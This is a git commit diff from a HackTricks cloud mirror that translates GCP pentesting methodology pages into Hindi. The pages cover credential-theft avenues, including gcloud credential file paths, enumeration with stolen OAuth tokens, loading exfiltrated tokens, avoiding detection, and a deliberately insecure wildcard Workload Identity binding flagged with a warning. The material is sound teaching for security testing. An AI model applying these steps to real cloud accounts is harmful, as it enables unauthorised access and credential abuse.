mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-08-01 16:37:51 -07:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Before start pentesting** a **GCP** environment, there are a few **basics things you need to know** about how it works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**GCP** वातावरण का **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि यह कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजें और उन्हें कैसे भुनाएं।
|
||||
|
||||
Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in:
|
||||
**संगठन** पदानुक्रम, **अनुमतियाँ** और अन्य बुनियादी अवधारणाएँ इस में समझाई गई हैं:
|
||||
|
||||
{{#ref}}
|
||||
gcp-basic-information/
|
||||
@@ -21,41 +21,41 @@ gcp-basic-information/
|
||||
|
||||
## GCP Pentester/Red Team Methodology
|
||||
|
||||
In order to audit a GCP environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal GCP services an **external services** connected.
|
||||
GCP वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रकट किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक GCP सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
|
||||
|
||||
From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
Red Team के दृष्टिकोण से, **GCP वातावरण को समझौता करने का पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in GCP-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- github (या समान) में **लीक** - OSINT
|
||||
- **सामाजिक** इंजीनियरिंग (पृष्ठ [**Workspace Security**](../workspace-security/) देखें)
|
||||
- **पासवर्ड** पुन: उपयोग (पासवर्ड लीक)
|
||||
- GCP-Hosted Applications में कमजोरियाँ
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुँच है
|
||||
- **स्थानीय फ़ाइल पढ़ें**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd पार्टियों के **भंग**
|
||||
- **आंतरिक** कर्मचारी
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
या **अप्रमाणित सेवा** को समझौता करके जो प्रकट है:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** मांग सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
gcp-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी गणना करनी होगी:
|
||||
|
||||
## Basic Enumeration
|
||||
|
||||
### **SSRF**
|
||||
|
||||
For more information about how to **enumerate GCP metadata** check the following hacktricks page:
|
||||
GCP मेटाडेटा को **गणना** करने के बारे में अधिक जानकारी के लिए निम्नलिखित हैक्ट्रिक्स पृष्ठ देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
@@ -63,8 +63,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
In GCP you can try several options to try to guess who you are:
|
||||
|
||||
GCP में आप यह अनुमान लगाने के लिए कई विकल्प आजमा सकते हैं कि आप कौन हैं:
|
||||
```bash
|
||||
#If you are inside a compromise machine
|
||||
gcloud auth list
|
||||
@@ -74,50 +73,45 @@ gcloud auth print-identity-token #Get info from the token
|
||||
#If you compromised a metadata token or somehow found an OAuth token
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
|
||||
You can also use the API endpoint `/userinfo` to get more info about the user:
|
||||
|
||||
आप `/userinfo` API एंडपॉइंट का उपयोग करके उपयोगकर्ता के बारे में अधिक जानकारी प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth <access_token>" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
```
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
### संगठन गणना
|
||||
```bash
|
||||
# Get organizations
|
||||
gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
|
||||
gcloud resource-manager folders list --organization <org_number> # Get folders
|
||||
gcloud projects list # Get projects
|
||||
```
|
||||
|
||||
### Principals & IAM Enumeration
|
||||
|
||||
If you have enough permissions, **checking the privileges of each entity inside the GCP account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
यदि आपके पास पर्याप्त अनुमतियाँ हैं, तो **GCP खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**।
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें ब्रूट-फोर्स करके चुरा सकते हैं**।\
|
||||
जांचें **संख्यांकन और ब्रूट-फोर्सिंग कैसे करें**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> अब जब आपके पास **आपकी क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए** हैं)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
|
||||
> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के तरीके** देख सकते हैं।
|
||||
|
||||
## Services Enumeration
|
||||
|
||||
GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
GCP में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, सूचीकरण** चीटशीट, **पकड़े जाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लॉइटेशन** ट्रिक्स पाएंगे:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automatic-tools).
|
||||
ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता **नहीं** है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automatic-tools) के बारे में एक **अनुभाग** पा सकते हैं।
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
@@ -125,9 +119,9 @@ gcp-unauthenticated-enum-and-access/
|
||||
|
||||
## Privilege Escalation, Post Exploitation & Persistence
|
||||
|
||||
The most common way once you have obtained some cloud credentials or have compromised some service running inside a cloud is to **abuse misconfigured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges.
|
||||
जब आपने कुछ क्लाउड क्रेडेंशियल्स प्राप्त कर लिए हैं या क्लाउड के अंदर चल रही कुछ सेवा को समझौता कर लिया है, तो सबसे सामान्य तरीका है **गलत कॉन्फ़िगर की गई अनुमतियों का दुरुपयोग** करना जो समझौता किए गए खाते के पास हो सकता है। इसलिए, आपको सबसे पहले अपने विशेषाधिकारों को सूचीबद्ध करना चाहिए।
|
||||
|
||||
Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
|
||||
इसके अलावा, इस सूचीकरण के दौरान, याद रखें कि **अनुमतियाँ "संगठन" के उच्चतम स्तर पर सेट की जा सकती हैं**।
|
||||
|
||||
{{#ref}}
|
||||
gcp-privilege-escalation/
|
||||
@@ -143,10 +137,10 @@ gcp-persistence/
|
||||
|
||||
### Publicly Exposed Services
|
||||
|
||||
While enumerating GCP services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
जब आप GCP सेवाओं को सूचीबद्ध कर रहे होंगे, तो आप उनमें से कुछ को **इंटरनेट पर तत्वों को उजागर करते हुए** पा सकते हैं (VM/कंटेनर पोर्ट, डेटाबेस या कतार सेवाएँ, स्नैपशॉट या बाल्टियाँ...)।\
|
||||
एक पेंटेस्टर/रेड टीमर के रूप में, आपको हमेशा यह जांचना चाहिए कि क्या आप उन पर **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं।
|
||||
|
||||
In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
इस पुस्तक में आपको **जानकारी** मिलेगी कि **कैसे उजागर GCP सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए, मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
@@ -154,7 +148,7 @@ https://book.hacktricks.xyz/
|
||||
|
||||
## GCP <--> Workspace Pivoting
|
||||
|
||||
**Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in:
|
||||
**एक** प्लेटफ़ॉर्म में प्रिंसिपल को **समझौता करना** एक हमलावर को **दूसरे को समझौता करने** की अनुमति दे सकता है, इसे जांचें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-to-workspace-pivoting/
|
||||
@@ -162,11 +156,10 @@ gcp-to-workspace-pivoting/
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
|
||||
- Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
|
||||
|
||||
- **GCloud कंसोल** में, [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) पर आप प्रोजेक्ट द्वारा उपयोग की जा रही संसाधनों और IAMs को देख सकते हैं।
|
||||
- यहाँ आप इस API द्वारा समर्थित संपत्तियों को देख सकते हैं: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- जांचें **उपकरण** जो [**कई क्लाउड में उपयोग किए जा सकते हैं**](../pentesting-cloud-methodology.md)।
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): यह एक GCP संसाधन स्कैनर है जो यह निर्धारित करने में मदद कर सकता है कि **कुछ क्रेडेंशियल्स पर GCP पर किस स्तर की पहुँच है**।
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/google/gcp_scanner.git
|
||||
@@ -177,13 +170,11 @@ pip install -r requirements.txt
|
||||
# Execute with gcloud creds
|
||||
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
|
||||
```
|
||||
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash स्क्रिप्ट जो gcloud cli का उपयोग करके GCP वातावरण को एन्यूमरेट करती है और परिणामों को एक फ़ाइल में सहेजती है।
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): उच्च IAM विशेषाधिकारों को एन्यूमरेट करने और GCP में उनका दुरुपयोग करके विशेषाधिकारों को बढ़ाने के लिए स्क्रिप्ट (मैं एन्यूमरेट स्क्रिप्ट को चलाने में असमर्थ था)।
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): आपकी अनुमतियों को ब्रूटफोर्स करने के लिए स्क्रिप्ट।
|
||||
|
||||
## gcloud config & debug
|
||||
|
||||
```bash
|
||||
# Login so gcloud can use your credentials
|
||||
gcloud auth login
|
||||
@@ -198,13 +189,11 @@ gcloud auth application-default print-access-token
|
||||
# Update gcloud
|
||||
gcloud components update
|
||||
```
|
||||
|
||||
### Capture gcloud, gsutil... network
|
||||
|
||||
Remember that you can use the **parameter** **`--log-http`** with the **`gcloud`** cli to **print** the **requests** the tool is performing. If you don't want the logs to redact the token value use `gcloud config set log_http_redact_token false`
|
||||
|
||||
Moreover, to intercept the communication:
|
||||
याद रखें कि आप **`gcloud`** cli के साथ **`--log-http`** **पैरामीटर** का उपयोग कर सकते हैं ताकि **उपकरण** द्वारा किए जा रहे **अनुरोधों** को **प्रिंट** किया जा सके। यदि आप नहीं चाहते कि लॉग टोकन मान को छुपाएं, तो `gcloud config set log_http_redact_token false` का उपयोग करें।
|
||||
|
||||
इसके अलावा, संचार को इंटरसेप्ट करने के लिए:
|
||||
```bash
|
||||
gcloud config set proxy/address 127.0.0.1
|
||||
gcloud config set proxy/port 8080
|
||||
@@ -221,11 +210,9 @@ gcloud config unset proxy/type
|
||||
gcloud config unset auth/disable_ssl_validation
|
||||
gcloud config unset core/custom_ca_certs_file
|
||||
```
|
||||
### OAuth टोकन gcloud में कॉन्फ़िगर करें
|
||||
|
||||
### OAuth token configure in gcloud
|
||||
|
||||
In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do:
|
||||
|
||||
**मेटाडेटा एंडपॉइंट से निकाले गए सेवा खाते के OAuth टोकन का उपयोग करने के लिए** आप बस कर सकते हैं:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
@@ -237,13 +224,8 @@ gcloud config set auth/access_token_file /some/path/to/token
|
||||
gcloud projects list
|
||||
gcloud config unset auth/access_token_file
|
||||
```
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -6,10 +6,9 @@
|
||||
|
||||
### GCP
|
||||
|
||||
In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
|
||||
|
||||
- **Create the Service Account** to access from github actions with the **desired permissions:**
|
||||
GCP **सेवा खाते** को Github repo से **Github Actions** तक पहुँच देने के लिए निम्नलिखित चरणों की आवश्यकता है:
|
||||
|
||||
- **सेवा खाता बनाएं** ताकि इच्छित अनुमतियों के साथ github actions से पहुँच प्राप्त हो:
|
||||
```bash
|
||||
projectId=FIXME
|
||||
gcloud config set project $projectId
|
||||
@@ -24,134 +23,121 @@ gcloud services enable iamcredentials.googleapis.com
|
||||
# Give permissions to SA
|
||||
|
||||
gcloud projects add-iam-policy-binding $projectId \
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
```
|
||||
|
||||
- Generate a **new workload identity pool**:
|
||||
|
||||
- एक **नया वर्कलोड आइडेंटिटी पूल** बनाएं:
|
||||
```bash
|
||||
# Create a Workload Identity Pool
|
||||
poolName=wi-pool
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
|
||||
|
||||
- एक नया **वर्कलोड आइडेंटिटी पूल OIDC प्रदाता** उत्पन्न करें जो **विश्वास करता है** github actions (इस परिदृश्य में org/repo नाम द्वारा):
|
||||
```bash
|
||||
attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Finally, **allow the principal** from the provider to use a service principal:
|
||||
|
||||
- अंत में, **प्रदाता से प्रिंसिपल को सेवा प्रिंसिपल का उपयोग करने की अनुमति दें**:
|
||||
```bash
|
||||
gitHubRepoName="repo-org/repo-name"
|
||||
gcloud iam service-accounts add-iam-policy-binding $saId \
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
|
||||
> ध्यान दें कि पिछले सदस्य में हम सेवा खाते तक पहुँचने के लिए **`org-name/repo-name`** को शर्तों के रूप में निर्दिष्ट कर रहे हैं (अन्य पैरामीटर जो इसे **अधिक प्रतिबंधात्मक** बनाते हैं जैसे शाखा का भी उपयोग किया जा सकता है)।
|
||||
>
|
||||
> However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
|
||||
> हालाँकि, यह भी संभव है कि **सभी github को सेवा खाते तक पहुँचने की अनुमति दें** एक प्रदाता बनाकर जैसे कि निम्नलिखित एक वाइल्डकार्ड का उपयोग कर:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
|
||||
poolName=wi-pool2
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
|
||||
<strong># CHECK THE WILDCARD
|
||||
</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
<strong> --member="principalSet://iam.googleapis.com/${poolId}/*"
|
||||
</strong></code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
|
||||
> It should be always something like this:
|
||||
> इस मामले में कोई भी github actions से सेवा खाते तक पहुँच सकता है, इसलिए हमेशा **जांचना महत्वपूर्ण है कि सदस्य कैसे परिभाषित है**।\
|
||||
> यह हमेशा कुछ ऐसा होना चाहिए:
|
||||
>
|
||||
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
|
||||
|
||||
### Github
|
||||
|
||||
Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
|
||||
|
||||
याद रखें कि **`${providerId}`** और **`${saId}`** को उनके संबंधित मानों के लिए बदलें:
|
||||
```yaml
|
||||
name: Check GCP action
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
id-token: write
|
||||
|
||||
jobs:
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,54 +1,49 @@
|
||||
# GCP - Permissions for a Pentest
|
||||
|
||||
If you want to pentest a GCP environment you need to ask for enough permissions to **check all or most of the services** used in **GCP**. Ideally, you should ask the client to create:
|
||||
यदि आप GCP वातावरण का परीक्षण करना चाहते हैं, तो आपको **GCP** में उपयोग की जाने वाली **सभी या अधिकांश सेवाओं** की जांच करने के लिए पर्याप्त अनुमतियाँ मांगनी चाहिए। आदर्श रूप से, आपको ग्राहक से यह करने के लिए कहना चाहिए:
|
||||
|
||||
* **Create** a new **project**
|
||||
* **Create** a **Service Account** inside that project (get **json credentials**) or create a **new user**.
|
||||
* **Give** the **Service account** or the **user** the **roles** mentioned later over the ORGANIZATION
|
||||
* **Enable** the **APIs** mentioned later in this post in the created project
|
||||
|
||||
**Set of permissions** to use the tools proposed later:
|
||||
* **एक नया** **प्रोजेक्ट** **बनाएँ**
|
||||
* उस प्रोजेक्ट के अंदर **एक सेवा खाता** **बनाएँ** ( **json प्रमाणपत्र** प्राप्त करें) या **एक नया उपयोगकर्ता** **बनाएँ**।
|
||||
* ORGANIZATION पर बाद में उल्लेखित **भूमिकाएँ** **सेवा खाते** या **उपयोगकर्ता** को **देें**
|
||||
* बनाए गए प्रोजेक्ट में इस पोस्ट में बाद में उल्लेखित **APIs** को **सक्षम** करें
|
||||
|
||||
उपकरणों का उपयोग करने के लिए **अनुमतियों का सेट** जो बाद में प्रस्तावित किया गया है:
|
||||
```bash
|
||||
roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
```
|
||||
|
||||
APIs to enable (from starbase):
|
||||
|
||||
APIs को सक्षम करें (स्टारबेस से):
|
||||
```
|
||||
gcloud services enable \
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
